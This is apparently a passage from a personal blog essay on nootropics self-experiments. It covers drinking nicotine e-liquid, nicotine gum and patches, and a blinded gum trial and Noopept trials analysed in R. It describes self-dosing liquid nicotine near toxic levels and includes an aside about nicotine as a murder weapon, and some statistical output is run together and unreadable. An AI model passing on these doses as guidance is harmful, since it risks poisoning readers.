2ml is supposed to translate to 24mg, which is a big dose. I do not believe any of the commercial patches go much past that. I asked Wedrifid, whose notes inspired my initial interest, and he was taking perhaps 2-4mg, and expressed astonishment that I might be taking 24mg. (2mg is in line with what I am told by another person - that 2mg was so much that they actually felt a little sick. On the other hand, in one study, the subjects could not reliably distinguish between 1mg and placebo.) 24mg is particularly troubling in that I weigh ~68kg, and nicotine poisoning and the nicotine LD50 start, for me, at around 68mg of nicotine. (I reflected that the entire jar could be a useful murder weapon, although nicotine presumably would be caught in an autopsy’s toxicology screen; I later learned nicotine was an infamous weapon in the 1800s before any test was developed. It doesn’t seem used anymore, but there are still fatal accidents due to dissolved nicotine.) The upper end of the range, 10mg/kg or 680mg for me, is calculated based on experienced smokers. Something is wrong here - I can’t see why I would have nicotine tolerance comparable to a hardened smoker, inasmuch as my maximum prior exposure was second-hand smoke once in a blue moon. More likely is that either the syringe is misleading me or the seller NicVape sold me something more dilute than 12mg/ml. (I am sure that it’s not simply plain water; when I mix the drops with regular water, I can feel the propylene glycol burning as it goes down.) I would rather not accuse an established and apparently well-liked supplier of fraud, nor would I like to simply shrug and say I have a mysterious tolerance and must experiment with doses closer to the LD50, so the most likely problem is a problem with the syringe. The next day I altered the procedure to sucking up 8ml, squirting out enough fluid to move the meniscus down to 7ml, and then ejecting the rest back into the container. The result was another mild clean stimulation comparable to the previous 1ml days. The next step is to try a completely different measuring device, which doesn’t change either.

One item always of interest to me is sleep; a stimulant is no good if it damages my sleep (unless that’s what it is supposed to do, like modafinil) - anecdotesandresearch suggest that it does. Over the past few days, my Zeo sleep scores continued to look normal. But that was while not taking nicotine much later than 5 PM. In lieu of a different ml measurer to test my theory that my syringe is misleading me, I decide to more directly test nicotine’s effect on sleep by taking 2ml at 10:30 PM, and go to bed at 12:20; I get a decent ZQ of 94 and I fall asleep in 16 minutes, a bit below my weekly average of 19 minutes. The next day, I take 1ml directly before going to sleep at 12:20; the ZQ is 95 and time to sleep is 14 minutes.

The next cheap proposition to test is that the 2ml dose is so large that the sedation/depressive effect of nicotine has begun to kick in. This is easy to test: take much less, like half a ml. I do so two or three times over the next day, and subjectively the feeling seems to be the same - which seems to support that proposition (although perhaps I’ve been placebo effecting myself this whole time, in which case the exact amount doesn’t matter). If this theory is true, my previous sleep results don’t show anything; one would expect nicotine-as-sedative to not hurt sleep or improve it. I skip the day (no cravings or addiction noticed), and take half a ml right before bed at 11:30; I fall asleep in 12 minutes and have a ZQ of ~105. The next few days I try putting one or two drops into the tea kettle, which seems to work as well (or poorly) as before. At that point, I was warned that there were some results that nicotine withdrawal can kick in with delays as long as a week, so I shouldn’t be confident that a few days off proved an absence of addiction; I immediately quit to see what the week would bring. 4 or 7 days in, I didn’t notice anything. I’m still using it, but I’m definitely a little nonplussed and disgruntled - I need some independent source of nicotine to compare with!

After trying the nicotine gum (see below) and experiencing effects, I decided the liquid was busted somehow and to request a refund. To its credit, NicVape immediately agreed to a refund.

Poor absorption?

2 commenters point out that my possible lack of result is due to my mistaken assumption that if nicotine is absorbable through skin, mouth, and lungs it ought to be perfectly fine to absorb it through my stomach by drinking it (rather than vaporizing it and breathing it with an e-cigarette machine) - it’s apparently known that absorption differs in the stomach.

  • the online book The Cigarette Papers describes early animal experiments (without specific bioavailability percentages):

    The Fate of Nicotine in the Body also describes Battelle’s animal work on nicotine absorption. Using C14-labeled nicotine in rabbits, the Battelle scientists compared gastric absorption with pulmonary absorption. Gastric absorption was slow, and first pass removal of nicotine by the liver (which transforms nicotine into inactive metabolites) was demonstrated following gastric administration, with consequently low systemic nicotine levels. In contrast, absorption from the lungs was rapid and led to widespread distribution. These results show that nicotine absorbed from the stomach is largely metabolized by the liver before it has a chance to get to the brain. That is why tobacco products have to be puffed, smoked or sucked on, or absorbed directly into the bloodstream (i.e., via a nicotine patch). A nicotine pill would not work because the nicotine would be inactivated before it reached the brain.

  • “Metabolism and Disposition Kinetics of Nicotine”:

    Absorption of nicotine across biological membranes depends on pH. Nicotine is a weak base with a pKa of 8.0 (Fowler, 1954). In its ionized state, such as in acidic environments, nicotine does not rapidly cross membranes…About 80 to 90% of inhaled nicotine is absorbed during smoking as assessed using C14-nicotine (Armitage et al., 1975). The efficacy of absorption of nicotine from environmental smoke in nonsmoking women has been measured to be 60 to 80% (Iwase et al., 1991)…The various formulations of nicotine replacement therapy (NRT), such as nicotine gum, transdermal patch, nasal spray, inhaler, sublingual tablets, and lozenges, are buffered to alkaline pH to facilitate the absorption of nicotine through cell membranes. Absorption of nicotine from all NRTs is slower and the increase in nicotine blood levels more gradual than from smoking (Table 1). This slow increase in blood and especially brain levels results in low abuse liability of NRTs (Henningfield and Keenan, 1993; West et al., 2000). Only nasal spray provides a rapid delivery of nicotine that is closer to the rate of nicotine delivery achieved with smoking (Sutherland et al., 1992; Gourlay and Benowitz, 1997; Guthrie et al., 1999). The absolute dose of nicotine absorbed systemically from nicotine gum is much less than the nicotine content of the gum, in part, because considerable nicotine is swallowed with subsequent first-pass metabolism (Benowitz et al., 1987). Some nicotine is also retained in chewed gum. A portion of the nicotine dose is swallowed and subjected to first-pass metabolism when using other NRTs, inhaler, sublingual tablets, nasal spray, and lozenges (Johansson et al., 1991; Bergstrom et al., 1995; Lunell et al., 1996; Molander and Lunell, 2001; Choi et al., 2003). Bioavailability for these products with absorption mainly through the mucosa of the oral cavity and a considerable swallowed portion is about 50 to 80% (Table 1)…Nicotine is poorly absorbed from the stomach because it is protonated (ionized) in the acidic gastric fluid, but is well absorbed in the small intestine, which has a more alkaline pH and a large surface area. Following the administration of nicotine capsules or nicotine in solution, peak concentrations are reached in about 1 h (Benowitz et al., 1991; Zins et al., 1997; Dempsey et al., 2004). The oral bioavailability of nicotine is about 20 to 45% (Benowitz et al., 1991; Compton et al., 1997; Zins et al., 1997). Oral bioavailability is incomplete because of the hepatic first-pass metabolism. Also the bioavailability after colonic (enema) administration of nicotine (examined as a potential therapy for ulcerative colitis) is low, around 15 to 25%, presumably due to hepatic first-pass metabolism (Zins et al., 1997). Cotinine is much more polar than nicotine, is metabolized more slowly, and undergoes little, if any, first-pass metabolism after oral dosing (Benowitz et al., 1983b; De Schepper et al., 1987; Zevin et al., 1997).

    Particularly germane is the table of absorption by administration methods, which gives bioavailability for oral capsule (44%) and oral solution (20%)
  • “An oral formulation of nicotine for release and absorption in the colon: its development and pharmacokinetics” does not break out bioavailability for their enema, but they seem to have measured levels consistent with 10-20%.
  • “Absorption of nicotine by the human stomach and its effect on gastric ion fluxes and potential difference”’s abstract confirms the variation from acidity:

    Nicotine was well absorbed, mean 18.6±3.4% in 15 min, on intragastric instillation at pH 9.8. Absorption was accompanied by side effects of nausea and vomiting, and delay in gastric emptying. Gastric absorption of nicotine at pH 7.4 was less marked (mean 8.2±2.9%), but was negligible at pH 1 (mean 3.3±1.4%).

  • “Facts About Nicotine Toxicity”:

    Nicotine is poorly absorbed from the stomach due to the acidity of the gastric fluid, but is well absorbed in the small intestine, which has a more alkaline pH and a large surface area [“Nicotine, its metabolism and an overview of its biological effects”].

  • Tobacco and Shamanism in South America (Wilbert 1993), pg 139:

    Nicotine absorption through the stomach is variable and relatively reduced in comparison with absorption via the buccal cavity and the small intestine. ‘Drinking’, ‘eating’, and swallowing of tobacco smoke by South American Indians have frequently been reported. Tenetehara shamans reach a state of tobacco narcosis through large swallows of smoke, and Tapirape shams are said to “eat smoke” by forcing down large gulps of smoke only to expel it again in a rapid sequence of belches. In general, swallowing of tobacco smoke is quite frequently likened to ‘drinking’. However, although the amounts of nicotine swallowed in this way - or in the form of saturated saliva or pipe juice - may be large enough to be behaviorally significant at normal levels of gastric pH, nicotine, like other weak bases, is not significantly absorbed.

    From the standpoint of absorption, the drinking of tobacco juice and the interaction of the infusion or concoction with the small intestine is a highly effective method of gastrointestinal nicotine administration. The epithelial area of the intestines is incomparably larger than the mucosa of the upper tract including the stomach, and “the small intestine represents the area with the greatest capacity for absorption” (Levine 1983:81-83). As practiced by most of the sixty-four tribes documented here, intoxicated states are achieved by drinking tobacco juice through the mouth and/or nose…The large intestine, although functionally little equipped for absorption, nevertheless absorbs nicotine that may have passed through the small intestine.

  • “Stomach absorption of intubated insecticides in fasted mice”’s abstract reports 10% stomach bioavailability in rats.

It looks like the overall picture is that nicotine is absorbed well in the intestines and the colon, but not so well in the stomach; this might be the explanation for the lack of effect, except on the other hand, the specific estimates I see are that 10-20% of the nicotine will be bioavailable in the stomach (as compared to 50%+ for mouth or lungs)… so any of my doses of >5ml should have overcome the poorer bioavailability! But on the gripping hand, these papers are mentioning something about the liver metabolizing nicotine when absorbed through the stomach, so…

Nicotine gum

So I eventually got around to ordering another thing of nicotine gum, “Habitrol Nicotine Gum, 4mg MINT flavor COATED gum. 96 pieces per box”. Gum should be easier to double-blind myself with than nicotine patches - just buy some mint gum. If 4mg is too much, cut the gum in half or whatever. When it arrived, my hopes were borne out: the gum was rectangular and soft, which made it easy to cut into fourths.

Remembering what Wedrifid told me, I decided to start with a quarter of a piece (~1mg). The gum was pretty tasteless, which ought to make blinding easier. The effects were noticeable around 10 minutes - greater energy verging on jitteriness, much faster typing, and apparent general quickening of thought. Like a more pleasant caffeine. While testing my typing speed in Amphetype, my speed seemed to go up >=5 WPM, even after the time penalties for correcting the increased mistakes; I also did twice the usual number without feeling especially tired. A second dose was similar, and the third dose was at 10 PM before playing Ninja Gaiden II seemed to stop the usual exhaustion I feel after playing through a level or so. (It’s a tough game, which I have yet to master like Ninja Gaiden Black.) Returning to the previous concern about sleep problems, though I went to bed at 11:45 PM, it still took 28 minutes to fall sleep (compared to my more usual 10-20 minute range); the next day I use 2mg from 7-8PM while driving, going to bed at midnight, where my sleep latency is a more reasonable 14 minutes. I then skipped for 3 days to see whether any cravings would pop up (they didn’t). I subsequently used 1mg every few days for driving or Ninja Gaiden II, and while there were no cravings or other side-effects, the stimulation definitely seemed to get weaker - benefits seemed to still exist, but I could no longer describe any considerable energy or jitteriness.

The easiest way to use 2mg was to use half a gum; I tried not chewing it but just holding it in my cheek. The first night I tried, this seemed to work well for motivation; I knocked off a few long-standing to-do items. Subsequently, I began using it for writing, where it has been similarly useful. One difficult night, I wound up using the other half (for a total of 4mg over ~5 hours), and it worked but gave me a fairly mild headache and a faint sensation of nausea; these may have been due to forgetting to eat dinner, but this still indicates 3mg should probably be my personal ceiling until and unless tolerance to lower doses sets in.

Experiment

Design

Blinding stymied me for a few months since the nasty taste was unmistakable and I couldn’t think of any gums with a similar flavor to serve as placebo. (The nasty taste does not seem to be due to the nicotine despite what one might expect; Vaniver plausibly suggested the bad taste might be intended to prevent over-consumption, but nothing in the Habitrol ingredient list seemed to be noted for its bad taste, and a number of ingredients were sweetening sugars of various sorts. So I couldn’t simply flavor some gum.)

I almost resigned myself to buying patches to cut (and let the nicotine evaporate) and hope they would still stick on well enough afterwards to be indistinguishable from a fresh patch, when late one sleepless night I realized that a piece of nicotine gum hanging around on my desktop for a week proved useless when I tried it, and that was the answer: if nicotine evaporates from patches, then it must evaporate from gum as well, and if gum does evaporate, then to make a perfect placebo all I had to do was cut some gum into proper sizes and let the pieces sit out for a while. (A while later, I lost a piece of gum overnight and consumed the full 4mg to no subjective effect.) Google searches led to nothing indicating I might be fooling myself, and suggested that evaporation started within minutes in patches and a patch was useless within a day. Just a day is pushing it (who knows how much is left in a useless patch?), so I decided to build in a very large safety factor and let the gum sit for around a month rather than a single day.

The experiment then is straightforward: cut up a fresh piece of gum, randomly select from it and an equivalent ‘dry’ piece of gum, and do 5 rounds of dual n-back to test attention/energy & WM. (If it turns out to be placebo, I’ll immediately use the remaining active dose: no sense in wasting gum, and this will test whether nigh-daily use renders nicotine gum useless, similar to how caffeine may be useless if taken daily. If there’s 3 pieces of active gum left, then I wrap it very tightly in Saran wrap which is sticky and air-tight.) The dose will be 1mg or 1/4 a gum. I cut up a dozen pieces into 4 pieces for 48 doses and set them out to dry. Per the previous power analyses, 48 groups of DNB rounds likely will be enough for detecting small-medium effects (partly since we will be only looking at one metric - average % right per 5 rounds - with no need for multiple correction). Analysis will be one-tailed, since we’re looking for whether there is a clear performance improvement and hence a reason to keep using nicotine gum (rather than whether nicotine gum might be harmful).

Cost-wise, the gum itself (~$5) is an irrelevant sunk cost and the DNB something I ought to be doing anyway. If the results are negative (which I’ll define as d<0.2), I may well drop nicotine entirely since I have no reason to expect other forms (patches) or higher doses (2mg+) to create new benefits. This would save me an annual expense of ~$40 with a net present value of <820($); even if we count the time-value of the 20 minutes for the 5 DNB rounds over 48 days (0.2×48×7.25=70), it’s still a clear profit to run a convincing experiment.

Data

Analysis

First, we’ll check the prediction score (versus a random guesser scoring 0; higher is better):

logBinaryScore = sum . map (\(result,p) ->if result then1+ logBase 2 p else1+ logBase 2 (1-p))
logBinaryScore [(True,0.35),(False,0.40),(False,0.40),(True,0.60),(True,0.35),(False,0.45),(False,0.50),
                (True,0.60),(False,0.30),(True,0.50),(False,0.40),(False,0.30),(False,0.25),(False,0.75),
                (False,0.40),(False,0.40),(False,0.65),(False,0.45),(True,0.50),(False,0.65),(True,0.40),
                (True,0.55),(True,0.40),(False,0.50),(False,0.60),(True,0.40),(False,0.50),(False,0.50),
                (False,0.55),(True,0.55),(False,0.50),(False,0.55),(False,0.45),(True,0.55),(True,0.50),
                (True,0.50),(False,0.55),(True,0.50)]~>-0.58

Ouch, so my guesses were actually worse than random; this isn’t encouraging (if nicotine was helpful, why didn’t I notice? Has 1mg tolerated?) but it does indicate the blinding was successful.

Now we will examine the actual performance. Extracting the individual rounds scores from my Brain Workshop log file, we can average them in groups of 5 to get a daily average; then feed them into BEST (Bayesian equivalent of t-test; see Kruschke 2012):

# individual rounds; the imbalance is unfortunate but the experiment design means nothing can be done
on <-c(36,36,25,27,38,50,34,62,33,22,40,28,37,50,25,42,44,58,47,55,38,35,43,60,47,44,40,33,44,19,58,38,41,52,41,33,47,45,45,55,45,27,35,45,30,30,52,36,28,43,50,27,29,55,45,31,15,47,64,35,33,60,38,28,60,45,64,50,44,38,35,61,56,30,44,41,37,41,43,38)
off <-c(25,34,30,40,57,34,41,51,36,26,37,42,40,45,31,24,38,40,47,35,31,27,66,25,17,43,46,50,36,38,58,50,23,50,31,38,33,66,30,68,42,40,29,69,45,60,37,22,28,40,41,45,37,18,50,20,41,42,47,44,60,31,46,46,55,47,42,35,40,29,47,56,37,50,20,31,42,53,27,45,50,65,33,33,33,40,47,41,25,55,40,31,30,45,50,20,25,30,70,47,47,42,40,35,45,60,37,22,38,36,54,64,25,28,50,42,31,50,30,30)
on2 <-rowMeans(as.data.frame(matrix(on,ncol=5,byrow=TRUE)))
off2 <-rowMeans(as.data.frame(matrix(off,ncol=5,byrow=TRUE)))
on2
 [1] 32.440.236.049.244.636.046.045.036.437.841.238.443.848.245.2
[16] 40.0
off2
 [1] 37.237.639.036.833.242.642.447.045.037.438.238.847.638.642.0
[16] 39.642.841.639.238.441.838.644.236.6source("BEST.R")
mcmc =BESTmcmc(on2, off2); postInfo
           SUMMARY.INFO
PARAMETER         mean     median       mode     HDIlow   HDIhigh pcgtZero
  mu1       41.280812941.281920841.227263638.507812944.032699NA
  mu2       40.198108740.195554340.177703938.681080641.706469NA
  muDiff     1.08270421.08378311.1279921 -2.02924324.24490975.87121
  sigma1     5.25636745.08983544.77686813.33074937.511054NA
  sigma2     3.55137963.48509023.34533792.46550244.782887NA
  sigmaDiff  1.70498791.59178391.3816030 -0.65238174.30069293.36015
  nu        37.794819329.321798913.06643362.275571198.116623NA
  nuLog10    1.44724791.46719061.52044740.76049632.101837NA
  effSz      0.24600610.24500740.2361248 -0.43999590.93657075.87121

The results graphed:

Daily data means, differences of inferred standard deviations & effect sizes: BESTplot(on2, off2, mcmcChain=mcmc, ROPEeff=c(0.1,1.5))
Daily data means, differences of inferred standard deviations & effect sizes: BESTplot(on2, off2, mcmcChain=mcmc, ROPEeff=c(0.1,1.5))

We can read off the results from the table or graph: the nicotine days average 1.1% higher, for an effect size of 0.24; however, the 95% credible interval (equivalent of confidence interval) goes all the way from 0.93 to -0.44, so we cannot exclude 0 effect and certainly not claim confidence the effect size must be >0.1. Specifically, the analysis gives a 66% chance that the effect size is >0.1. (One might wonder if any increase is due purely to a “training effect” - getting better at DNB. Probably not.)

This is disappointing.

One curious thing that leaps out looking at the graphs is that the estimated underlying standard deviations differ: the nicotine days have a strikingly large standard deviation, indicating greater variability in scores - both higher and lower, since the means weren’t very different. The difference in standard deviations is just 6.6% below 0, so the difference almost reaches our usual frequentist levels of confidence too, which we can verify by testing:

var.test(on2, off2, alternative="greater")

    F test to compare two variances

data:on2 and off2
F =1.9823, num df =15, denom df =23, p-value =0.06775
alternative hypothesis:true ratio of variances is greater than 195% confidence interval:0.9314525Inf
sample estimates:
ratio of variances1.982333

We can double-check this by seeing what the variance is for the unaveraged scores: we know the means are only 1.1% different, so the additional standard deviation must be coming from how individual days are good or bad, and if that is so, then unaveraging them out to eliminate most of the observed difference. We re-run BEST:

mcmc =BESTmcmc(on,off); postInfo
           SUMMARY.INFO
PARAMETER          mean      median        mode     HDIlow     HDIhigh pcgtZero
  mu1       41.2270365741.2258227641.1157679238.759167043.7209215NA
  mu2       40.1238608340.1223544940.0458534037.965570342.3037602NA
  muDiff     1.103175741.103020231.13446641 -2.15206804.424601374.52276
  sigma1    10.9196624210.8660305210.741581359.133589712.7962565NA
  sigma2    11.6948420511.6611199011.5756001710.105088513.3605913NA
  sigmaDiff -0.77517964 -0.79214849 -0.85774274 -3.17896801.625253525.70744
  nu        46.8625878238.6527868522.910666685.8159908109.9850644NA
  nuLog10    1.579721511.587180811.608109921.02141822.1234248NA
  effSz      0.097785450.097638230.09931263 -0.18958820.390715674.52276
Means, differences of inferred standard deviations & effect sizes: BESTplot(on, off, mcmcChain=mcmc, ROPEeff=c(0.1,1.5))
Means, differences of inferred standard deviations & effect sizes: BESTplot(on, off, mcmcChain=mcmc, ROPEeff=c(0.1,1.5))

We see the standard deviation difference go away - now the difference estimate is almost centered on zero with a just 75% estimate the standard deviation differs in the observed direction. And to repeat the frequentist test:

var.test(on, off, alternative="greater")

    F test to compare two variances

data:on and off
F =0.8564, num df =79, denom df =119, p-value =0.7689
alternative hypothesis:true ratio of variances is greater than 195% confidence interval:0.6140736Inf
sample estimates:
ratio of variances0.856387

(So our p-value there went from 0.06 to 0.769 when we disaggregated the days, consistent with the Bayesian results.)

Good days and bad days?

The greatly increased variance, but only somewhat increased mean, is consistent with nicotine operating on me with an inverted U-curve for dosage/performance (or the Yerkes-Dodson law): on good days, 1mg nicotine is too much and degrades performance (perhaps I am overstimulated and find it hard to focus on something as boring as n-back) while on bad days, nicotine is just right and improves n-back performance.

This would be easy to test if I had done something before taking the nicotine gum; then I would simply see if pre-gum scores were higher than post-gum scores on nicotine days, but equal on placebo days. Unfortunately, I didn’t.

The closest data I have is my daily log of productivity/mood (1-5). If nicotine scores are higher than placebo scores on bad days (1-2) and lower on good days (3-4), then I think that would be consistent with an inverted U-curve.

nicotine <-read.table(stdin(),header=TRUE)
day      active mp score201208241335.2201208270537.2201208280337.6201208301337.75201208311237.75201209020236.0201209050536.0201209061537.25201209100549.2201209111336.8201209120344.6201209130538.4201209150543.8201209160239.6201209180349.6201209190438.4201209230536.2201209240545.4201209251343.8201209260436.4201209291343.8201209301336.0201210011346.0201210020445.0201210080234.6201210091345.2201210120537.8201210130437.2201210160440.2201210201339.0201210210341.2201210220342.2201210240540.4201210291241.4201210311338.4201211011543.8201211020348.2201211031540.6summary(nicotine)
      day               active             mp            score
 Min.   :20120824   Min.   :0.0000   Min.   :2.000   Min.   :34.60
 1st Qu.:20120911   1st Qu.:0.0000   1st Qu.:3.000   1st Qu.:37.21
 Median :20120926   Median :0.0000   Median :3.000   Median :39.30
 Mean   :20120954   Mean   :0.3947   Mean   :3.632   Mean   :40.47
 3rd Qu.:20121015   3rd Qu.:1.0000   3rd Qu.:5.000   3rd Qu.:43.80
 Max.   :20121103   Max.   :1.0000   Max.   :5.000   Max.   :49.60cor(nicotine)
              day      active          mp       score
day                0.053319680.074371660.32021554
active                        -0.27754064 -0.05727501
mp                                         0.05238032
Plot scores for each mood/productivity level, split between placebo & nicotine: boxplot(nicotine$score ~ (nicotine$active + nicotine$mp)^2)
Plot scores for each mood/productivity level, split between placebo & nicotine: boxplot(nicotine$score ~ (nicotine$active + nicotine$mp)^2)

Interesting. On days ranked ‘2’ (below-average mood/productivity), nicotine seems to have boosted scores; on days ranked ‘3’, nicotine hurts scores; there aren’t enough ‘4’s to tell, but even ’5’ days seem to see a boost from nicotine, which is not predicted by the theory. But I don’t think much of a conclusion can be drawn: not enough data to make out any simple relationship. Some modeling suggests no relationship in this data either (although also no difference in standard deviations, leading me to wonder if I screwed up the data recording - not all of the DNB scores seem to match the input data in the previous analysis). So although the ‘2’ days in the graph are striking, the theory may not be right.

Conclusion

What should I make of all these results?

  • The poor prediction performance, while confirming my belief that my novel strategy for blinding nicotine gum worked well, undermines confidence in the value of nicotine.
  • I specified at the beginning that I wanted an effect size of >0.2; I got it, but with it came a very wide credible interval, undermining confidence in the effect size.
  • The difference in standard deviations is not, from a theoretical perspective, all that strange a phenomenon: at the very beginning of this page, I covered some basic principles of nootropics and mentioned how many stimulants or supplements follow a inverted U-curve where too much or too little lead to poorer performance (ironically, one of the examples in Kruschke 2012 was a smart drug which did not affect means but increased standard deviations).

    If this is the case, this suggests some thoughtfulness about my use of nicotine: there are times when use of nicotine will not be helpful, but times where it will be helpful. I don’t know what makes the difference, but I can guess it relates to over-stimulation: on some nights during the experiment, I had difficult concentrating on n-backing because it was boring and I was thinking about the other things I was interested in or working on - in retrospect, I wonder if those instances were nicotine nights.

In retrospect, there were 2 parts of the experiment design I probably should have changed:

  1. I used 1mg gum, rather than 2mg

    1mg may have too small effects to easily detect, and I may have developed tolerance to 1mg even though I’ve been careful to space out all my gum use. 2mg would have reduced this concern.
  2. I used 1mg each day regardless of the randomization

This was to make each day more consistent and avoid wasting a sliced piece of gum (due to evaporation, it’s use-it-or-lose-it). But this plausibly is a source of tolerance, and even #1 was not an issue when the self-experiment began, this could have become an issue.

All things considered, I will probably continue using nicotine gum sparingly.

Nicotine patches

Running low on gum (even using it weekly or less, it still runs out), I decided to try patches. Reading through various discussions, I couldn’t find any clear verdict on what patch brands might be safer (in terms of nicotine evaporation through a cut or edge) than others, so I went with the cheapest Habitrol I could find as a first try of patches (“Nicotine Transdermal System Patch, Stop Smoking Aid, 21 mg, Step 1, 14 patches”). I am curious to what extent nicotine might improve a long time period like several hours or a whole day, compared to the shorter-acting nicotine gum which feels like it helps for an hour at most and then tapers off (which is very useful in its own right for kicking me into starting something I have been procrastinating on). I have not decided whether to try another self-experiment.

Related to the famous -racetams but reportedly better (and much less bulky), Noopept is one of the many obscure Russian nootropics. (Further reading: Google Scholar, Examine.com, Reddit, Longecity, Bluelight.ru.) Its advantages seem to be that it’s far more compact than piracetam and doesn’t taste awful so it’s easier to store and consume; doesn’t have the cloud hanging over it that piracetam does due to the FDA letters, so it’s easy to purchase through normal channels; is cheap on a per-dose basis; and it has fans claiming it is better than piracetam.

A Redditor ordered some Russian brand Noopept, but finding it was unpleasant & not working for him, gave the left-over half to me:

Russian Noopept box, front & backRussian Noopept blister-pack, front & back

It appeared in reasonably good shape, and closely matched the photographs in the Wikipedia article. I took 2 of the 25 10mg pills on successive days on top of my usual caffeine+piracetam stack, and didn’t notice anything; in particular, I didn’t find it unpleasant like he did.

Pilot experiment

So, I thought I might as well experiment since I have it. I put the 23 remaining pills into gel capsules with brown rice as filling, made ~30 placebo capsules, and will use the one-bag blinding/randomization method. I don’t want to spend the time it would take to n-back every day, so I will simply look for an effect on my daily mood/productivity self-rating; hopefully Noopept will add a little on average above and beyond my existing practices like caffeine+piracetam (yes, Noopept may be as good as piracetam, but since I still have a ton of piracetam from my 3kg order, I am primarily interested in whether Noopept adds onto piracetam rather than replaces). 10mg doses seem to be on the low side for Noopept users, weakening the effect, but on the other hand, if I were to take 2 capsules at a time, then I’d halve the sample size; it’s not clear what is the optimal tradeoff between dose and n for statistical power.

Nor am I sure how important the results are - partway through, I haven’t noticed anything bad, at least, from taking Noopept. And any effect is going to be subtle: people seem to think that 10mg is too small for an ingested rather than sublingual dose and I should be taking twice as much, and Noopept’s claimed to be a chronic gradual sort of thing, with less of an acute effect. If the effect size is positive, regardless of statistical-significance, I’ll probably think about doing a bigger real self-experiment (more days blocked into weeks or months & 20mg dose)

Power

I don’t expect to find an effect, though; a quick t-test power analysis of a one-sided paired design with 23 pairs suggests that a reasonable power of 80% would still only be able to detect an increase of d>=0.5:

pwr.t.test(n=23, type="paired", alternative="greater", sig.level=0.05, power=0.8)

     Paired t test power calculation

              n =23
              d =0.5352
...

Or in other words, since the standard deviation of my previous self-ratings is 0.75 (see the Weather and my productivity data), a mean rating increase of >0.39 on the self-rating. This is, unfortunately, implying an extreme shift in my self-assessments (for example, 3s are ~50% of the self-ratings and 4s ~25%; to cause an increase of 0.25 while leaving 2s alone in a sample of 23 days, one would have to push 3s down to ~25% and 4s up to ~47%). So in advance, we can see that the weak plausible effects for Noopept are not going to be detected here at our usual statistical levels with just the sample I have (a more plausible experiment might use 178 pairs over a year, detecting down to d>=0.18). But if the sign is right, it might make Noopept worthwhile to investigate further. And the hardest part of this was just making the pills, so it’s not a waste of effort.

Data

Available as a CSV spanning 15 May - 9 July 2013, with magnesium l-threonate consumption as a covariate (see the magnesium section).

Analysis

Some quick tests turn in similar conclusions: both Noopept and the “Magtein” increased self-rating but not statistically-significantly (as expected from the beginning due to the lack of power).

npt <-read.csv("http://www.gwern.net/docs/nootropics/2013-gwern-noopept.csv")wilcox.test(MP ~Noopept, alternative="less", data = npt)##     Wilcoxon rank sum test with continuity correction## data:  MP by Noopept# W = 343, p-value = 0.2607summary(lm(MP ~Noopept +Magtein, data = npt))# ...Coefficients:#             Estimate Std. Error t value Pr(>|t|)# (Intercept)   2.8038     0.1556   18.02   <2e-16# Noopept       0.0886     0.2098    0.42     0.67# Magtein       0.2673     0.2070    1.29     0.20## Residual standard error: 0.761 on 53 degrees of freedom# Multiple R-squared:  0.0379,    Adjusted R-squared:  0.00164# F-statistic: 1.05 on 2 and 53 DF,  p-value: 0.359

More specifically, the ordinal logistic regression estimates effect sizes of odds-ratio 1.3 for the Noopept and 1.9 for the magnesium:

library(rms)
npt$MP <-as.ordered(npt$MP)
lmodel <-lrm(MP ~Noopept +Magtein, data = npt); lmodel# ...#         Coef    S.E.   Wald Z Pr(>|Z|)# y>=3     0.4330 0.4049  1.07  0.2849# y>=4    -1.4625 0.4524 -3.23  0.0012# Noopept  0.2336 0.5114  0.46  0.6479# Magtein  0.6748 0.5098  1.32  0.1856

The magnesium was neither randomized nor blinded and included mostly as a covariate to avoid confounding (the Noopept coefficient & t-value increase somewhat without the Magtein variable), so an OR of 1.9 is likely too high; in any case, this experiment was too small to reliably detect any effect (~26% power, see bootstrap power simulation in the magnesium section) so we can’t say too much.

set.seed(3333)library(boot)
noopeptPower <-function(dt, indices) {
    d <-dt[indices,] # bootstrap's _n_ = original _n_
    lmodel <-lrm(MP ~Noopept +Magtein, data = d)return(anova(lmodel)[7]) # _p_-value for the Noopept coefficient
}
bs <-boot(data=npt, statistic=noopeptPower, R=100000, parallel="multicore", ncpus=4)
alpha <-0.05print(sum(bs$t<=alpha) /length(bs$t))# [1] 0.073

So for the observed effect size, the small Noopept sample had only 7% power to turn in a statistically-significant result. Given the plausible effect size, and weakness of the experiment, I find these results encouraging.

Noopept followup experiment

Noopept is a Russian stimulant sometimes suggested for nootropics use as it may be more effective than piracetam or other -racetams, and its smaller doses make it more convenient & possibly safer. Following up on a pilot study, I ran a well-powered blind randomized self-experiment between September 2013 and August 2014 using doses of 12-60mg Noopept & pairs of 3-day blocks to investigate the impact of Noopept on self-ratings of daily functioning in addition to my existing supplementation regimen involving small-to-moderate doses of piracetam. A linear regression, which included other concurrent experiments as covariates & used multiple imputation for missing data, indicates a small benefit to the lower dose levels and harm from the highest 60mg dose level, but no dose nor Noopept as a whole was statistically-significant. It seems Noopept’s effects are too subtle to easily notice if they exist, but if one uses it, one should probably avoid 60mg+.

Design

In avoiding experimenting with more Russian Noopept pills and using instead the easily-purchased powder form of Noopept, there are two opposing considerations: Russian Noopept is reportedly the best, so we might expect anything I buy online to be weaker or impure or inferior somehow and the effect size smaller than in the pilot experiment; but by buying my own supply & using powder I can double or triple the dose to 20mg or 30mg (to compensate for the original under-dosing of 10mg) and so the effect size larger than in the pilot experiment.

As it happened, Health Supplement Wholesalers (since renamedPowder City) offered me a sample of their products, including their 5g Noopept powder ($13). I’d never used HSW before & they had some issues in the past; but I haven’t seen any recent complaints, so I was willing to try them. My 5g from batch #130830 arrived quickly (photos: packaging, powder contents). I tried some (tastes just slightly unpleasant, like an ultra-weak piracetam), and I set about capping the fluffy white flour-like powder with the hilariously tiny scoop they provide.

It took 4 hours to cap 432 Noopept pills and another 432 flour pills. I tried to allocate the Noopept as evenly as possible (3 little scoops per pill) which the HSW packaging suggested would be 10-30mg; running out after 432 implies I managed to get ~12mg into each (5000432=11.6). At 2 pills a day, the experiment will run under a year.

I don’t want to synchronize with the magnesium or lithium experiments, so I’ll use paired blocks of 3 days randomized 50:50, which will help with the reported tolerance of Noopept setting in after a few days and one needing to ‘cycle’.

To make things more interesting, I think I would like to try randomizing different dosages as well: 12mg, 24mg, and 36mg (1-3 pills); on 5 May 2014, because I wanted to finish up the experiment earlier, I decided to add 2 larger doses of 48 & 60mg (4-5 pills) as options. Then I can include the previous pilot study as 10mg doses, and regress over dose amount.

